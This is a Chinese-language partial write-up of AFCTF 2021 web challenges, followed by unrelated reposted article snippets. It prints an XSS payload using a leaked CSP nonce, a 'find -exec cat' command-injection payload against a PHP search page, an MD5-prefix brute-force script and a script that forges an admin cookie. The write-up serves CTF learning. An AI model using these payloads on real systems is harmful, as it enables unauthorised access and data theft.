【Web】AFCTF 2021 题解(部分)

目录

BABY_CSP

search

secret

google authenticator


随便做做,环境是NSS上的

BABY_CSP

CSP绕过_script-src 'self-CSDN博客 

CSP指令值

*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次; 

发包,响应头有CSP字段,给了nonce值

 

以变量形式输出flag

payload:

?school=<script nonce="29de6fde0db5686d">alert(flag);</script>

 右键查看源码拿到flag

 

 

访问/www.zip拿到源码

<?php
error_reporting(0);
$argv = $_GET["search"];
for ($i = 0; $i < strlen($argv); $i++) {if (($argv[$i] == '&') ||($argv[$i] == '>') ||($argv[$i] == '<') ||($argv[$i] == '(') ||($argv[$i] == ';') ||($argv[$i] == '|')) {if ($i == 0) {goto error;}if (($i == 1) && ($argv[0] == '\\')) {continue;}if (($argv[$i - 1] == '\\') && ($argv[$i - 2] != '\\')) {continue;}error:exit("Input contains prohibited characters!<br>");}
}
echo "<h3>Search reslut:</h3><br>";
system("find / -iname " . $argv);
?>

逻辑就是,如果输入检查发现非法字符,并且这些字符不是被合法转义,脚本执行exit,输出错误信息并停止运行。就是不让拼接多条命令,强制要求直接对find命令进行利用

find命令进阶(二):对找到的文件执行操作exec_find 寻找特定目录下的文件并执行-CSDN博客

payload:

/search.php?search=environ -exec cat {} \;

 

secret

 

写脚本爆md5

import hashlib
import itertools
import string# 目标MD5哈希的前6个字符
target = '1af15e'# 尝试的密码字符集,这里使用了字母和数字,可以根据需要调整
charset = string.ascii_letters + string.digits# 密码的最大长度,可以根据实际情况调整
max_length = 6# 爆破密码
def brute_force():for length in range(1, max_length + 1):# itertools.product生成所有可能的密码组合for attempt in itertools.product(charset, repeat=length):# 将密码组合转换为字符串password = ''.join(attempt)# 计算密码的MD5哈希,并取前6个字符hash = hashlib.md5(password.encode()).hexdigest()[:6]# 检查哈希是否与目标匹配if hash == target:return passwordreturn None# 运行爆破函数
password = brute_force()if password:print(f"Found password: {password}")
else:print("Password not found.")

 

先随便注册一个号

 

再去登录

 

点击secret回显只有admin能看

 

 

cookie有一段加密逻辑,笨人整不来整不来,看个乐就好

import requestsdef encrypt(s):res = ""for i in s:if ord(i)%2 == 0:res += chr(ord(i) + 2)else:res += chr(ord(i) - 2)res += "a"return resdef main():url = "http://node4.anna.nssctf.cn:28389/" + "secret.jsp"cookies = {"usr" : encrypt("admin")}res = requests.get(url, cookies=cookies)print(res.text)if __name__ == "__main__":main()

 

google authenticator

神 

[AFCTF 2021]google authenticator-CSDN博客 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/636437.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C语言】——内存函数的使用及模拟实现

【C语言】——内存函数的使用及模拟实现 前言一、 m e m c p y memcpy memcpy 函数1.1、函数功能&#xff08;1&#xff09;函数名理解&#xff08;2&#xff09;函数介绍 1.2、函数的使用1.3、函数的模拟实现 二、 m e m m o v e memmove memmove 函数2.1、函数功能2.2、函数的…

【论文阅读】Attention is all you need

摘要 主要的序列转换模型是基于复杂的循环或卷积神经网络&#xff0c;其中包括一个编码器和一个解码器。性能最好的模型还通过一种注意力机制将编码器和解码器连接起来。我们提出了一种新的简单的网络架构&#xff0c;Transformer&#xff0c;完全基于注意机制&#xff0c;完全…

请编写函数fun,它的功能是:求出1到1000之内能被7或11整除、但不能同时被7和11整除的所有整数并将它们放在a所指的数组中,通过n返回这些数的个数。

本文收录于专栏:算法之翼 https://blog.csdn.net/weixin_52908342/category_10943144.html 订阅后本专栏全部文章可见。 本文含有题目的题干、解题思路、解题思路、解题代码、代码解析。本文分别包含C语言、C++、Java、Python四种语言的解法和详细的解析。 题干 请编写函数fu…

PICkit 3 v3.10中的 Device Family 识别不到芯片

1&#xff1a;现象描述 在使用 PICkit3烧写hex文件的时候&#xff0c;Device Family只有默认芯片&#xff0c;识别不到当前使用的芯片&#xff0c;导致报错“Device Error - hex file not loaded”&#xff0c;我当前使用的是 PIC16F1826芯片&#xff0c;默认不支持&#xff1…

Elastic 网络爬虫:为你的网站添加搜索功能

作者&#xff1a;来自 Elastic Lionel Palacin 为了演示如何使用 Elastic 网络爬虫&#xff0c;我们将以一个具体的网站为例&#xff0c;讲解如何在该网站上添加搜索功能。我们将探讨发现网站的方法&#xff0c;并利用 Elastic 网络爬虫提供的功能&#xff0c;以最佳方式准备待…

【Java笔记】如何创建自己的注解+注解怎么用于反射+SpringBoot常见注解

文章目录 0. 为什么SpringBoot要整这么多注解&#xff1f;1. 一些基础知识1.1 什么是注解1.2 Java内置注解1.2.1 作用在代码上的注解1.2.2 作用在注解的注解&#xff08;元注解&#xff09;1.2.3 Java 7之后的新注解 1.3 注解的作用1.4 如何实现一个自己的注解&#xff1f;1.4.…

【JVM系列】关于静态块、静态属性、构造块、构造方法的执行顺序

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

K-means和DBSCAN

目录 一、K-means和DBSCAN之间的主要区别 二、DBSCAN聚类算法 2.1DBSCAN聚类算法实现点集数据的聚类 2.2DBSCAN聚类算法实现鸢尾花数据集的聚类 三、K-means聚类算法 3.1K-means聚类算法实现随机数据的聚类 3.2K-means聚类算法实现鸢尾花数据集的聚类 一、K-means和DBSC…

【大数据】TiDB: A Raft-based HTAP Database

文章目录 数据库知识介绍数据库系统的ACID特性分布式系统和CAP理论关系型数据库与非关系型数据库关系型数据库非关系型数据库 OldSQL、NoSQL、NewSQLOldSQLNoSQLNewSQL OLTP、OLAP、HTAP 前言&#xff1a;为什么选择TiDB学习&#xff1f;pingCAP介绍TiDB介绍TiDB的影响力TiDB概…

【C】 初识C语言

&#x1f493;博主CSDN主页:麻辣韭菜&#x1f493;   ⏩专栏分类&#xff1a;C语言从入门到精通⏪   &#x1f69a;代码仓库:C语言初级&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多C知识   &#x1f51d;&#x1f51d; 目录 前言 1. 什么是C语言&#…

STM32学习和实践笔记(14):按键控制实验

消除抖动有软件和硬件两种方法 软件方法就是在首次检测到低电平时加延时&#xff0c;通常延时5-10ms&#xff0c;让抖动先过去&#xff0c;然后再来检测是否仍为低电平&#xff0c;如果仍然是&#xff0c;说明确实按下。 硬件方法就是加RC滤波电路&#xff0c;硬件方法会增加…

Linux - Docker 安装 Nacos

拉取 Nacos 镜像 使用以下命令从 Docker Hub 拉取最新版本的 Nacos 镜像&#xff1a; docker pull nacos/nacos-server启动 Nacos 容器 使用以下命令启动 Nacos 容器&#xff1a; docker run -d \--name nacos \--privileged \--cgroupns host \--env JVM_XMX256m \--env M…